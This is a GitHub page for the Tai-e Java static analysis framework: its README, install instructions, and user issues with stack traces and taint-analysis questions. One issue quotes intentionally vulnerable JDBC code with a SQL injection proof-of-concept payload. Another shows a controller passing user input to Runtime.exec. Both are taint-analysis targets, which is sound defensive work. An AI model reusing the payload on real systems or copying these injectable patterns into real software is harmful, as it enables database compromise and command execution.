Git Product home page Git Product logo

tai-e's Introduction

Tai-e

test java maven-central codecov DOI

Table of Contents

What is Tai-e?

Tai-e (Chinese: 太阿; pronunciation: [ˈtaɪə:]) is a new static analysis framework for Java (please see our ISSTA 2023 paper for details), which features arguably the "best" designs from both the novel ones we proposed and those of classic frameworks such as Soot, WALA, Doop, and SpotBugs. Tai-e is easy-to-learn, easy-to-use, efficient, and highly extensible, allowing you to easily develop new analyses on top of it.

Currently, Tai-e provides the following major analysis components (and more analyses are on the way):

  • Powerful pointer analysis framework
    • On-the-fly call graph construction
    • Various classic and advanced techniques of heap abstraction and context sensitivity for pointer analysis
    • Extensible analysis plugin system (allows to conveniently develop and add new analyses that interact with pointer analysis)
  • Configurable security analysis
    • Taint analysis, which allows to configure sources, sinks, taint transfers, and sanitizers
    • Detection of various information leakages and injection vulnerabilities
    • Various precision and efficiency tradeoffs (benefit from the pointer analysis framework)
  • Various fundamental/utility analyses
    • Fundamental analyses, e.g., reflection analysis and exception analysis
    • Modern language feature analyses, e.g., lambda and method reference analysis, and invokedynamic analysis
    • Utility tools like analysis timer, constraint checker (for debugging), and various graph dumpers
  • Control/Data-flow analysis framework
    • Control-flow graph construction
    • Classic data-flow analyses, e.g., live variable analysis, constant propagation
    • Your data-flow analyses
  • SpotBugs-like bug detection system
    • Bug detectors, e.g., null pointer detector, incorrect clone() detector
    • Your bug detectors

Tai-e is developed in Java, and it can run on major operating systems including Windows, Linux, and macOS.

As a courtesy to the developers, we expect that you please cite the paper from ISSTA 2023 describing the Tai-e framework in your research work:

Tian Tan and Yue Li. 2023. Tai-e: A Developer-Friendly Static Analysis Framework for Java by Harnessing the Good Designs of Classics. In Proceedings of the 32nd ACM SIGSOFT International Symposium on Software Testing and Analysis (ISSTA '23), July 17–21, 2023, Seattle, WA, USA (pdf, bibtex).

How to Obtain Runnable Jar of Tai-e?

The simplest way is to download it from GitHub Releases.

Alternatively, you might build the latest Tai-e yourself from the source code. This can be simply accomplished via Gradle (be sure that Java 17 (or higher version) is available on your system). You just need to run command gradlew fatJar, and then the runnable jar will be generated in tai-e/build/, which includes Tai-e and all its dependencies.

How to Include Tai-e in Your Project?

Tai-e is designed as a standalone tool, but you also have the option to include it in your project as a dependency. It is available on Maven repositories, allowing you to easily integrate it into your Java projects using build tools such as Gradle and Maven. We maintain both stable and latest versions of Tai-e, and here are the corresponding coordinates in Gradle and Maven script formats:

Stable Version

For Gradle:

dependencies {
    implementation("net.pascal-lab:tai-e:0.2.2")
}

For Maven:

<dependencies>
    <dependency>
        <groupId>net.pascal-lab</groupId>
        <artifactId>tai-e</artifactId>
        <version>0.2.2</version>
    </dependency>
</dependencies>

Latest Version

For Gradle:

repositories {
    mavenCentral()
    maven { url = uri("https://s01.oss.sonatype.org/content/repositories/snapshots/") }
}

dependencies {
    implementation("net.pascal-lab:tai-e:0.5.1-SNAPSHOT")
}

For Maven:

<repositories>
    <repository>
        <id>snapshots</id>
        <name>Sonatype snapshot server</name>
        <url>https://s01.oss.sonatype.org/content/repositories/snapshots/</url>
    </repository>
</repositories>

<dependencies>
    <dependency>
        <groupId>net.pascal-lab</groupId>
        <artifactId>tai-e</artifactId>
        <version>0.5.1-SNAPSHOT</version>
    </dependency>
</dependencies>

You can use these coordinates in your Gradle or Maven scripts to include the desired version of Tai-e in your project.

Documentation

Reference Documentation

We have provided detailed information of Tai-e in the Reference Documentation, which covers various aspects such as Setup in IntelliJ IDEA, Command-Line Options, and Development of New Analysis.

Please note that the reference documentation mentioned above pertains to the latest version of Tai-e. If you need documentation for a specific stable version, please refer to the Documentation Index. Additionally, the documentation is included within the repository and maintained alongside the source code. You can access the reference documentation for a particular version of Tai-e (in AsciiDoc format) by exploring the docs/en directory, starting from index.adoc. This allows you to access version-specific documentation for Tai-e.

In addition to the reference documentation, Javadocs for Tai-e are also available as a useful reference resource.

Changelog

Since we are actively developing and updating Tai-e, we record the notable changes we made, especially the new features and breaking changes, in CHANGELOG. If you find something wrong after updating Tai-e, maybe you could check CHANGELOG for useful information.

Tai-e Assignments

In addition, we have developed an educational version of Tai-e where eight programming assignments are carefully designed for systematically training learners to implement various static analysis techniques to analyze real Java programs. The educational version shares a large amount of code with Tai-e, thus doing the assignments would be a good way to get familiar with Tai-e.

tai-e's People

Contributors

chaos-warzh avatar chenshasan avatar enochii avatar ftyghome avatar lancethazel avatar shumengzhang00 avatar silverbullettt avatar wangxiz avatar wyh2023 avatar yangshengyuan avatar yaphetsh avatar yuelee avatar zhangt2333 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

tai-e's Issues

How could I add multiple entrypoints?

Hello everyone. I have a question about building ICFG. WALA has a class AllApplicationEntrypoints that Call Graph can be constructed more accurately with all application entrypoints. But in Tai-e, it seems like the main class should only be specified as a single entrypoint with the option -m.

Does the warning `Cannot resolve ...` affect CFG?

Describe the bug

When "Cannot resolve xxx ", Does it continue to make the complete CFG?
(some edges are missing)

Tai-e arguments

--allow-phantom -pp -cp PROJECT_CLASSPATH -m PROJECT_CLASS -a icfg -scope APP

Runtime environment infomation

No response

ArrayIndexOutOfBoundsException occurred during interprocedural constant propagation

Hello everyone! I've met a problem when I used interprocedural constant propagation. The console log is as follows:

inter-constprop starts ...
Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: Array index out of range: 0
	at java.base/java.util.ImmutableCollections$ListN.get(ImmutableCollections.java:680)
	at pascal.taie.analysis.dataflow.inter.InterConstantPropagation.transferCallEdge(InterConstantPropagation.java:336)
	at pascal.taie.analysis.dataflow.inter.InterConstantPropagation.transferCallEdge(InterConstantPropagation.java:59)
	at pascal.taie.analysis.dataflow.inter.AbstractInterDataflowAnalysis.transferEdge(AbstractInterDataflowAnalysis.java:104)
	at pascal.taie.analysis.dataflow.inter.InterSolver.lambda$doSolve$2(InterSolver.java:87)
	at java.base/java.lang.Iterable.forEach(Iterable.java:75)
	at java.base/java.util.Collections$UnmodifiableCollection.forEach(Collections.java:1092)
	at pascal.taie.analysis.dataflow.inter.InterSolver.doSolve(InterSolver.java:85)
	at pascal.taie.analysis.dataflow.inter.InterSolver.solve(InterSolver.java:57)
	at pascal.taie.analysis.dataflow.inter.AbstractInterDataflowAnalysis.analyze(AbstractInterDataflowAnalysis.java:125)
	at pascal.taie.analysis.dataflow.inter.AbstractInterDataflowAnalysis.analyze(AbstractInterDataflowAnalysis.java:44)
	at pascal.taie.analysis.AnalysisManager.runProgramAnalysis(AnalysisManager.java:93)
	at pascal.taie.analysis.AnalysisManager.runAnalysis(AnalysisManager.java:71)
	at pascal.taie.analysis.AnalysisManager.lambda$execute$0(AnalysisManager.java:60)
	at pascal.taie.util.Timer.lambda$runAndCount$0(Timer.java:112)
	at pascal.taie.util.Timer.runAndCount(Timer.java:93)
	at pascal.taie.util.Timer.runAndCount(Timer.java:111)
	at pascal.taie.util.Timer.runAndCount(Timer.java:107)
	at pascal.taie.analysis.AnalysisManager.lambda$execute$1(AnalysisManager.java:59)
	at java.base/java.util.ArrayList.forEach(ArrayList.java:1511)
	at pascal.taie.analysis.AnalysisManager.execute(AnalysisManager.java:59)
	at pascal.taie.Main.executePlan(Main.java:142)
	at pascal.taie.Main.lambda$main$0(Main.java:56)
	at pascal.taie.util.Timer.lambda$runAndCount$0(Timer.java:112)
	at pascal.taie.util.Timer.runAndCount(Timer.java:93)
	at pascal.taie.util.Timer.runAndCount(Timer.java:111)
	at pascal.taie.util.Timer.runAndCount(Timer.java:107)
	at pascal.taie.Main.main(Main.java:48)
	at TestTaie.main(TestTaie.java:70)

It seems that the arguments does not match the parameters. The debug information is as follows:
image

Could you please help me about that, thanks a lot!

NPE in `ClassHierarchyImpl.isSubclass` because "superclass" is null

Describe the bug

Exception in thread "main" java.lang.NullPointerException: Cannot invoke "Object.equals(Object)" because "superclass" is null
	at pascal.taie.language.classes.ClassHierarchyImpl.isSubclass(ClassHierarchyImpl.java:398)
	at pascal.taie.language.type.TypeSystemImpl.isSubtype(TypeSystemImpl.java:183)
	at pascal.taie.analysis.pta.core.solver.TypeFilter.lambda$apply$0(TypeFilter.java:56)
	at java.base/java.util.stream.ReferencePipeline$2$1.accept(ReferencePipeline.java:178)
	at java.base/java.util.Iterator.forEachRemaining(Iterator.java:133)
	at java.base/java.util.Spliterators$IteratorSpliterator.forEachRemaining(Spliterators.java:1845)
	at java.base/java.util.stream.AbstractPipeline.copyInto(AbstractPipeline.java:509)
	at java.base/java.util.stream.AbstractPipeline.wrapAndCopyInto(AbstractPipeline.java:499)
	at java.base/java.util.stream.ForEachOps$ForEachOp.evaluateSequential(ForEachOps.java:150)
	at java.base/java.util.stream.ForEachOps$ForEachOp$OfRef.evaluateSequential(ForEachOps.java:173)
	at java.base/java.util.stream.AbstractPipeline.evaluate(AbstractPipeline.java:234)
	at java.base/java.util.stream.ReferencePipeline.forEach(ReferencePipeline.java:596)
	at pascal.taie.analysis.pta.core.solver.TypeFilter.apply(TypeFilter.java:57)
	at pascal.taie.analysis.pta.core.solver.DefaultSolver.addPFGEdge(DefaultSolver.java:734)
	at pascal.taie.analysis.pta.core.solver.Solver.addPFGEdge(Solver.java:119)
	at pascal.taie.analysis.pta.core.solver.DefaultSolver.lambda$processArrayStore$3(DefaultSolver.java:385)
	at java.base/java.lang.Iterable.forEach(Iterable.java:75)
	at pascal.taie.analysis.pta.core.solver.DefaultSolver.processArrayStore(DefaultSolver.java:381)
	at pascal.taie.analysis.pta.core.solver.DefaultSolver.analyze(DefaultSolver.java:294)
	at pascal.taie.analysis.pta.core.solver.DefaultSolver.solve(DefaultSolver.java:238)
	at pascal.taie.analysis.pta.PointerAnalysis.runAnalysis(PointerAnalysis.java:118)
	at pascal.taie.analysis.pta.PointerAnalysis.analyze(PointerAnalysis.java:106)
	at pascal.taie.analysis.pta.PointerAnalysis.analyze(PointerAnalysis.java:63)
	at pascal.taie.analysis.AnalysisManager.runProgramAnalysis(AnalysisManager.java:147)
	at pascal.taie.analysis.AnalysisManager.runAnalysis(AnalysisManager.java:120)
	at pascal.taie.analysis.AnalysisManager.lambda$execute$0(AnalysisManager.java:104)
	at pascal.taie.util.Timer.runAndCount(Timer.java:93)
	at pascal.taie.analysis.AnalysisManager.lambda$execute$1(AnalysisManager.java:103)
	at java.base/java.util.ArrayList.forEach(ArrayList.java:1511)
	at pascal.taie.analysis.AnalysisManager.execute(AnalysisManager.java:102)
	at pascal.taie.Main.executePlan(Main.java:143)
	at pascal.taie.Main.lambda$main$0(Main.java:57)
	at pascal.taie.util.Timer.lambda$runAndCount$0(Timer.java:112)
	at pascal.taie.util.Timer.runAndCount(Timer.java:93)
	at pascal.taie.util.Timer.runAndCount(Timer.java:111)
	at pascal.taie.util.Timer.runAndCount(Timer.java:107)
	at pascal.taie.Main.main(Main.java:49)

Tai-e arguments

-ap -cp "snakeyaml-1.21.jar:groovy-2.4.7.jar:spring-expression-4.3.6.RELEASE.jar" -acp "/java-sec-code/target/classes"
-m org.joychou.Application
-java 8
-a "pta=only-app:false;implicit-entries:false;taint-config:/Tai-e/src/main/resources/taint-config.yml;action:dump"
-a "ir-dumper=dump-dir:./sootOutput"
-a "cg=algorithm:pta;dump:./output/cg.dot"

Runtime environment infomation

tai-e commit: 2cfded1

Feature: Improving Taint Analysis Efficiency

In taint analysis, if we need to add new sink rules, we not only need to reconfigure the taint-config.yml file, but also need to add the entity class corresponding to the sink method; therefore, as more and more rules are added, the program of pointer analysis is getting bigger and bigger, which leads to a sharp increase in the time consumption of pointer analysis(taint analysis).
For example https://github.com/j3ers3/Hello-Java-Sec/blob/master/src/main/java/com/best/hello/controller/SQLI/JDBC.java

@Api("SQL注入 - JDBC")
@RestController
@RequestMapping("/SQLI/JDBC")
public class JDBC {
    /**
     * @poc http://127.0.0.1:8888/SQLI/JDBC/vul1?id=1' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)--%20+
     */
    @ApiOperation(value = "vul: JDBC语句拼接")
    @GetMapping("/vul1")
    public String vul1(String id) {

        StringBuilder result = new StringBuilder();

        try {
            Class.forName("com.mysql.cj.jdbc.Driver");
            Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);

            Statement stmt = conn.createStatement();
            String sql = "select * from users where id = '" + id + "'";
            log.info("[vul] 执行SQL语句: " + sql);
            ResultSet rs = stmt.executeQuery(sql);

            while (rs.next()) {
                String res_name = rs.getString("user");
                String res_pass = rs.getString("pass");
                String info = String.format("查询结果 %s: %s", res_name, res_pass);
                result.append(info);
            }

            rs.close();
            stmt.close();
            conn.close();
            return result.toString();

        } catch (Exception e) {
            // 输出错误,用于报错注入
            return e.toString();
        }
    }

In order to detect SQL injection, add stmt.executeQuery as the sink point, we need to add it on the original basic options

-cp mysql-connector-java-8.0.28.jar
--input-classes "com.mysql.cj.jdbc.StatementImpl"
--input-classes "com.mysql.cj.jdbc.Driver"
--input-classes "java.sql.DriverManager"

and add rule in taint-config.yml

- { method: "<com.mysql.cj.jdbc.StatementImpl: java.sql.ResultSet executeQuery(java.lang.String)>", index: 0 }

In fact, tir can translate stmt.executeQuery into invokeinterface call

[24@L64] invokeinterface $r14.<org.slf4j.Logger: void info(java.lang.String)>($r17);
[25@L65] $r18 = invokeinterface $r6.<java.sql.Statement: java.sql.ResultSet executeQuery(java.lang.String)>($r12);
[26@L67] $z0 = invokeinterface $r18.<java.sql.ResultSet: boolean next()>();

Is it possible to add an option optimization for taint analysis?
taint-config.yml supports the configuration of invokeinterface method call rules; Especially when the data flow is interrupted or missing, the method call identifier of invokeinterface is still added to the callgraph.
In the following example I mentioned, I only want to add a sink in taint-config.yml and no need to add some jar or input-classes in particular.

- { method: "<java.sql.Statement: java.sql.ResultSet executeQuery(java.lang.String)>", index: 0 }

I think it will imporve the taint analysis efficiency and not affects PTA.

How to specify option for whole-program analysis?

If I want to analyze java rt.jar only, what setting should I put (only-app true/false) or modifications I need to make to the project ?
Also, I see many java excluded packages in the code (determineExcludedPackages)

Taint analysis results are separate from pointer analysis results

Clear and concise description of the problem

The result of pointer analysis is quite big, sometimes you need to open a big file just to view the result of taint analysis, which is not reasonable, and if output to console, it may cause IDE to crash or stuck(I encountered this situation)

Suggested solution

We can consider adding an option to output to the specified file, such as taint-file or taint-result, if the option is not specified, the behavior is the same as if the option is not specified

Alternative

No response

Additional context

No response

how to distinguish the application code with lib

Clear and concise description of the problem

2 questions

  1. How to distinguish the application code of an application from the lib depends on. It is expected that only the application code needs to be analyzed during analysis, and the lib package should be ignored. Because there are hundreds of lib packages for the application, and the code in the lib package is not what we care about, so if we analysis the whole program is not necessary, we want to ignore the lib, thanks.

  2. if assumption 1 is true, which is the lib can be ignored, and only the application code is analyzed. Then another issue will come, How to analyze the pointer propagation of the dependent lib package? For example, spring's transaction template, like code following code, ideally, the pt of var order should be propagate to the parameter of orderService.save(order);

Order oder = new Order();
return transactionTemplate. execute(status -> { 
      orderService.save(order);
});

Suggested solution

I have also done some research on soot, I've seem Tai-e ignore method depends on sootClass.isApplicationClass(), and soot use -include pkg and -exclude pkg to identify the class is a application class or not, but tai-e framework looks like doesn't have any interface to modify this value, thank you.

Alternative

No response

Additional context

No response

Key duplication error when collecting taint flows

Describe the bug

if you provide a sink rules like

sinks:
  - { method: "<SourceSink: void sink(java.lang.String,java.lang.String)>", index: 0 }
  - { method: "<SourceSink: void sink(java.lang.String,java.lang.String)>", index: 1 }

it will occur errors

Exception in thread "main" java.lang.IllegalStateException: Duplicate key <SourceSink: void sink(java.lang.String,java.lang.String)> (attempted merging values <SourceSink: void sink(java.lang.String,java.lang.String)>/0 and <SourceSink: void sink(java.lang.String,java.lang.String)>/1)
	at java.base/java.util.stream.Collectors.duplicateKeyException(Collectors.java:135)
	at java.base/java.util.stream.Collectors.lambda$uniqKeysMapAccumulator$1(Collectors.java:182)
	at java.base/java.util.stream.ReduceOps$3ReducingSink.accept(ReduceOps.java:169)
	at java.base/java.util.ArrayList$ArrayListSpliterator.forEachRemaining(ArrayList.java:1625)
	at java.base/java.util.stream.AbstractPipeline.copyInto(AbstractPipeline.java:509)
	at java.base/java.util.stream.AbstractPipeline.wrapAndCopyInto(AbstractPipeline.java:499)
	at java.base/java.util.stream.ReduceOps$ReduceOp.evaluateSequential(ReduceOps.java:921)
	at java.base/java.util.stream.AbstractPipeline.evaluate(AbstractPipeline.java:234)
	at java.base/java.util.stream.ReferencePipeline.collect(ReferencePipeline.java:682)
	at pascal.taie.analysis.pta.plugin.taint.SinkHandler.collectTaintFlows(SinkHandler.java:73)
	at pascal.taie.analysis.pta.plugin.taint.TaintAnalysis.onFinish(TaintAnalysis.java:97)
	at java.base/java.util.ArrayList.forEach(ArrayList.java:1511)

Tai-e arguments

-ap -java 8 
-acp "/target/classes" 
-m "test" 
-a "pta=cs:ci;only-app:false;implicit-entries:false;taint-config:taint-config.yml;dump:true" 

Runtime environment infomation

No response

How to taint a parameter of a custom entrypoint?

package com.example.demo.controller;

import org.springframework.http.HttpStatus;
import org.springframework.web.bind.annotation.*;

import javax.servlet.http.HttpServletRequest;
import java.io.IOException;

@RestController
public class TestController {

    public static void exec(String[] cmd) {
        try {
            new ProcessBuilder(cmd).start();
            Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {
            System.out.println(e);
        }
    }

    @RequestMapping(value = {"/aaa/{uuid:.+}"}, method = {RequestMethod.GET}, produces = {"application/json"})
    @ResponseStatus(HttpStatus.OK)
    @ResponseBody
    public String index(HttpServletRequest request, @PathVariable String[] uuid) throws Exception {
        exec(uuid);
        return "asd";
    }
}

I need to use the index function as an entrypoint, how should I mock the String[] uuid parameter?

        HeapModel heapModel = solver.getHeapModel();
        JClass httpRequestWrapper = World.get().getClassHierarchy().getClass("javax.servlet.http.HttpServletRequestWrapper");
        JClass servletRequestWrapper = World.get().getClassHierarchy().getClass("javax.servlet.ServletRequestWrapper");
        JClass jClass = World.get().getClassHierarchy().getClass("com.example.demo.controller.TestController");
        JMethod index = jClass.getDeclaredMethod("index");

        SpecifiedParamProvider.Builder builder = new SpecifiedParamProvider.Builder(index);
        builder.addThisObj(heapModel.getMockObj("entryobj", "class", jClass.getType()));
        builder.addParamObj(0, heapModel.getMockObj("entryobj", "method1", httpRequestWrapper.getType(), index));

        TypeSystem typeSystem = solver.getTypeSystem();
        ClassType string = typeSystem.getClassType(ClassNames.STRING);
        builder.addParamObj(1, heapModel.getMockObj("entryobj", "method2", typeSystem.getArrayType(string, 1), index));

        solver.addEntryPoint(new EntryPoint(index, builder.build()));

Here is my code, but it doesn't work.

how to handle jar without main-class

as I know, Tai-e need to specify entry class by option -m <main-class>.
but for some jar library eg: jdk1.8, there isn't main class to be specified,
I wonder how to handler this case to carry out analysis

Is it possible to upgrade the soot dependency version?

When I am using the dependency "org.soot-oss:soot:4.3.0-20211223.212205-256", WorldBuilder takes 10s+

image

When I upgraded to "org.soot-oss:soot:4.4.1", WorldBuilder only took 1-2s,
image

I'm not sure if this really has anything to do with the soot version.

duplicate pointer flow propagation?

Hello, Is it possible to remove the following bolding statement? I thought the propagate function in the DefaultSolver will cover the final pointer flow stuff,

addPointsTo(target, targetSet);

  public void addPFGEdge(Pointer source, Pointer target, PointerFlowEdge.Kind kind,
                           Transfer transfer) {
        PointerFlowEdge edge = new PointerFlowEdge(kind, source, target, transfer);
        if (pointerFlowGraph.addEdge(edge)) {
            PointsToSet targetSet = transfer.apply(edge, getPointsToSetOf(source));
            if (!targetSet.isEmpty()) {
                addPointsTo(target, targetSet);
            }
        }
    }

User-friendliness when inputting illegal analysis options

If the options for an analysis is blank on tai-e-analyses.yml, the ObjectMapper will set the Analysis.config.options as Collections$EmptyMap. see Planconfig.parseConfig

I set options by CLI argument which overwrite the Analyssi.config.options managed by ConfigManager. see ConfigManager.overwriteOptions
But the options is an Collections$EmptyMap which is fixed-size. Calling putAll on it throws UsuprotedOperationException.

        List<AnalysisConfig> analysisConfigs = AnalysisConfig.parseConfigs(content); // EmptyMap
        ConfigManager manager = new ConfigManager(analysisConfigs); 
        AnalysisPlanner planner = new AnalysisPlanner(
                manager, options.getKeepResult());
        boolean reachableScope = options.getScope().equals(Scope.REACHABLE);
        if (!options.getAnalyses().isEmpty()) {
            // Analyses are specified by options
            List<PlanConfig> planConfigs = PlanConfig.readConfigs(options);
            manager.overwriteOptions(planConfigs); // overwrite

Maybe my java version (jdk 17) is not right, or maybe it's a bug.

A question about building a new interprocedural analysis

Hello every one, I'm trying to build a interprocedural analysis, but I met a problem.

...
CFG of <java.math.BigInteger: int getInt(int)> is absent, try to fix this by adding option -scope=reachable
CFG of <sun.misc.Service: void access$000(java.lang.Class,java.lang.String)> is absent, try to fix this by adding option -scope=reachable

...

Exception in thread "main" java.lang.NullPointerException: Cannot invoke "pascal.taie.analysis.graph.cfg.CFG.getEntry()" because the return value of "pascal.taie.analysis.graph.icfg.ICFGBuilder.getCFGOf(pascal.taie.language.classes.JMethod)" is null
	at pascal.taie.analysis.graph.icfg.DefaultICFG.getEntryOf(DefaultICFG.java:135)
	at pascal.taie.analysis.graph.icfg.DefaultICFG.getEntryOf(DefaultICFG.java:48)
	at java.base/java.util.stream.ReferencePipeline$3$1.accept(ReferencePipeline.java:197)
	at java.base/java.util.HashMap$KeySpliterator.forEachRemaining(HashMap.java:1707)
	at java.base/java.util.stream.AbstractPipeline.copyInto(AbstractPipeline.java:522)
	at java.base/java.util.stream.AbstractPipeline.wrapAndCopyInto(AbstractPipeline.java:512)
	at java.base/java.util.stream.ReduceOps$ReduceOp.evaluateSequential(ReduceOps.java:921)
	at java.base/java.util.stream.AbstractPipeline.evaluate(AbstractPipeline.java:239)
	at java.base/java.util.stream.ReferencePipeline.collect(ReferencePipeline.java:682)
	at pascal.taie.analysis.dataflow.inter.InterSolver.initialize(InterSolver.java:64)
	at pascal.taie.analysis.dataflow.inter.InterSolver.solve(InterSolver.java:56)
	at pascal.taie.analysis.dataflow.inter.AbstractInterDataflowAnalysis.analyze(AbstractInterDataflowAnalysis.java:125)
	at pascal.taie.analysis.dataflow.inter.AbstractInterDataflowAnalysis.analyze(AbstractInterDataflowAnalysis.java:44)
	at pascal.taie.analysis.AnalysisManager.runProgramAnalysis(AnalysisManager.java:93)
	at pascal.taie.analysis.AnalysisManager.runAnalysis(AnalysisManager.java:71)
	at pascal.taie.analysis.AnalysisManager.lambda$execute$0(AnalysisManager.java:60)
	at pascal.taie.util.Timer.lambda$runAndCount$0(Timer.java:112)
	at pascal.taie.util.Timer.runAndCount(Timer.java:93)
	at pascal.taie.util.Timer.runAndCount(Timer.java:111)
	at pascal.taie.util.Timer.runAndCount(Timer.java:107)
	at pascal.taie.analysis.AnalysisManager.lambda$execute$1(AnalysisManager.java:59)
	at java.base/java.util.ArrayList.forEach(ArrayList.java:1511)
	at pascal.taie.analysis.AnalysisManager.execute(AnalysisManager.java:59)
	at pascal.taie.Main.executePlan(Main.java:142)
	at pascal.taie.Main.lambda$main$0(Main.java:56)
	at pascal.taie.util.Timer.lambda$runAndCount$0(Timer.java:112)
	at pascal.taie.util.Timer.runAndCount(Timer.java:93)
	at pascal.taie.util.Timer.runAndCount(Timer.java:111)
	at pascal.taie.util.Timer.runAndCount(Timer.java:107)
	at pascal.taie.Main.main(Main.java:48)
	at TestTaie.main(TestTaie.java:67)

The log mentioned that I need to add a option -scope=reachable, which I did. But I encountered a new problem.

Exception in thread "main" java.lang.UnsupportedOperationException
	at java.base/java.util.ImmutableCollections.uoe(ImmutableCollections.java:142)
	at java.base/java.util.ImmutableCollections$AbstractImmutableCollection.add(ImmutableCollections.java:147)
	at pascal.taie.config.AnalysisPlanner.expandPlan(AnalysisPlanner.java:149)
	at pascal.taie.Main.processConfigs(Main.java:83)
	at pascal.taie.Main.lambda$main$0(Main.java:50)
	at pascal.taie.util.Timer.lambda$runAndCount$0(Timer.java:112)
	at pascal.taie.util.Timer.runAndCount(Timer.java:93)
	at pascal.taie.util.Timer.runAndCount(Timer.java:111)
	at pascal.taie.util.Timer.runAndCount(Timer.java:107)
	at pascal.taie.Main.main(Main.java:48)
	at TestTaie.main(TestTaie.java:67)

Can you help me about that, thanks a lot!

why use TreeSet() to store TaintFlow instance?

Hi, I notice this code use TreeSet as container of TaintFlow.
TreeSet require TaintFlow must implement interface Comparable.

I wonder if it possible to replace TreeSet with HashSet, because element of HashSet doesn't have to be comparable.

How to configure max heap size for JUnit test process to avoid OOM

Hello, thanks for the great framework. I have a question about the Tai-e memory consumption.

Description

In my laptop, I run pointer analysis with 1obj for antlr, it failed due to OOM(Out of Memory). My laptop has 32GB memory, I also change the Help|Change Memory Setting of Intellij idea to 32GB. Though I observe that the idea memory showed in Windows Task Manager is not high(around 4GB).

To my limited knowledge, the memory consumption would not be too high for a 1obj pointer analysis to analyze a small benchmark like antlr. Here is the error message:

Using reflection log from java-benchmarks\dacapo-2006\antlr-refl.log

Java heap space
java.lang.OutOfMemoryError: Java heap space
	at pascal.taie.util.collection.AbstractHybridSet.iterator(AbstractHybridSet.java:241)
	at java.base/java.util.AbstractCollection.addAll(AbstractCollection.java:335)
	at pascal.taie.util.collection.GenericBitSet.addAll(GenericBitSet.java:103)
	at pascal.taie.util.collection.AbstractHybridSet.addAll(AbstractHybridSet.java:181)
	at pascal.taie.analysis.pta.pts.DelegatePointsToSet.addAll(DelegatePointsToSet.java:51)
	at pascal.taie.analysis.pta.core.solver.WorkList.addEntry(WorkList.java:55)
	at pascal.taie.analysis.pta.core.solver.DefaultSolver.addPointsTo(DefaultSolver.java:654)
	at pascal.taie.analysis.pta.core.solver.DefaultSolver.lambda$propagate$0(DefaultSolver.java:273)
	at pascal.taie.analysis.pta.core.solver.DefaultSolver$$Lambda$329/0x0000000800f35718.accept(Unknown Source)
	at java.base/java.lang.Iterable.forEach(Iterable.java:75)
	at java.base/java.util.Collections$UnmodifiableCollection.forEach(Collections.java:1092)
	at pascal.taie.analysis.pta.core.solver.DefaultSolver.propagate(DefaultSolver.java:272)
	at pascal.taie.analysis.pta.core.solver.DefaultSolver.analyze(DefaultSolver.java:248)
	at pascal.taie.analysis.pta.core.solver.DefaultSolver.solve(DefaultSolver.java:222)
	at pascal.taie.analysis.pta.PointerAnalysis.runAnalysis(PointerAnalysis.java:118)
	at pascal.taie.analysis.pta.PointerAnalysis.analyze(PointerAnalysis.java:106)
	at pascal.taie.analysis.pta.PointerAnalysis.analyze(PointerAnalysis.java:63)
	at pascal.taie.analysis.AnalysisManager.runProgramAnalysis(AnalysisManager.java:93)
	at pascal.taie.analysis.AnalysisManager.runAnalysis(AnalysisManager.java:71)
	at pascal.taie.analysis.AnalysisManager.lambda$execute$0(AnalysisManager.java:60)
	at pascal.taie.analysis.AnalysisManager$$Lambda$233/0x0000000800eeb8b8.run(Unknown Source)
	at pascal.taie.util.Timer.lambda$runAndCount$0(Timer.java:112)
	at pascal.taie.util.Timer$$Lambda$117/0x0000000800dbfda8.get(Unknown Source)
	at pascal.taie.util.Timer.runAndCount(Timer.java:93)
	at pascal.taie.util.Timer.runAndCount(Timer.java:111)
	at pascal.taie.util.Timer.runAndCount(Timer.java:107)
	at pascal.taie.analysis.AnalysisManager.lambda$execute$1(AnalysisManager.java:59)
	at pascal.taie.analysis.AnalysisManager$$Lambda$232/0x0000000800eeb698.accept(Unknown Source)
	at java.base/java.util.ArrayList.forEach(ArrayList.java:1511)
	at pascal.taie.analysis.AnalysisManager.execute(AnalysisManager.java:59)
	at pascal.taie.Main.executePlan(Main.java:142)
	at pascal.taie.Main.lambda$main$0(Main.java:56)

tai-e arguments

  DaCapoRunner.main(new String[]{"1-obj", "antlr"});

Runtime environment

  • Windows 10
  • openjdk18.0.2

Question

Noticing Tai-e technical report requires a 128-GB-setting, I wonder If there is any way to make 1obj pointer analysis run normally in the laptop? e.g., turn off some options at the cost of precision loss.

Thanks for your time!

`List::foreach` cannot be analyzed in `only-app:true`

Describe the bug

Hi

I'm trying to use Tai-e framework to analysis my java program, I may found a issue which Tai-e can't analysis lamda foreach statement.

the code be analysised

import java.util.ArrayList;
import java.util.List;

class InterTaintTransfer {

    public static void main(String[] args) {
        SourceSink sourceSink = new SourceSink();
        List<String> list = new ArrayList<>();
        list.stream().forEach( e -> {sink(sourceSink);});
    }
    static void sink(SourceSink s){
        doSink(s);
    }

    static void doSink(SourceSink s){

    }

}

the arguments I start Tai-e
-pp -m InterTaintTransfer -cp src/test/resources/pta/taint/ -a pta=cs:2-type;dump-ci:true;dump:true;only-app:true;implicit-entries:false;taint-config:src/test/resources/pta/taint/taint-config.yml;handle-invokedynamic:true -a cg=dump:true

the call-graph.dot result

digraph G {
  node [color=".3 .2 1.0",shape=box,style=filled];
  edge [];
  "0" [label="<java.util.Collection: java.util.stream.Stream stream()>",];
  "1" [label="<java.lang.Object: void <init>()>",];
